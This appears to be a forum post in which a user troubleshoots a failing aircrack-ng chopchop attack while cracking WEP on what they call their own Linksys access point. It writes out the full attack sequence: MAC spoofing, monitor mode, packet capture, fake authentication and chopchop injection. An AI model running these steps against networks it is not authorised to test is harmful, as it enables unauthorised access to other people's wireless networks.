First I have to say that i did rigid search on this issue but did not find solution.
I have WUSB54GC card, working with BT3 booted from CD and intalled new version of aircrack 1.0 rc3. I´m trying to hack my AP (linksys)

The hack with clients work like charm. The problem arises when trying to do no-client attack using chopchop. The fragmentation attack I disabled by using WEP OPN.

Whenever I´m trying to use some packet is fails at 92% with message:

Warning: ICV checksum verification failed. Trying workaround ...
This doesn´t look like an IP packet, try another one.
Packet is most likely invalid or useless.

I need to say that injection is working just fine.
aireplay-ng --test rausb 0 gives 100% for my AP
Fake authetification also passes alright.

Here is my procedure (channel is $CH, MAC of AP is $AP):

airmon stop rausb0
ifconfig rausb0 down
macchanger --mac 00:11:22:33:44:55
airmon-ng start rausb0 $CH
ifconfig rausb0 up
iwconfig rausb0 mode monitor
iwconfig rausb0 rate 1M

airodump-ng -c $CH -w data --bssid $AP rausb0

aireplay-ng -1 o -e $Name -a $AP -h 00:11:22:33:44:55 rausb0

aireplay-ng -4 -h 00:11:22:33:44:55 -b $AP rausb0

Here i fail.
Any ideas?

Thanks a lot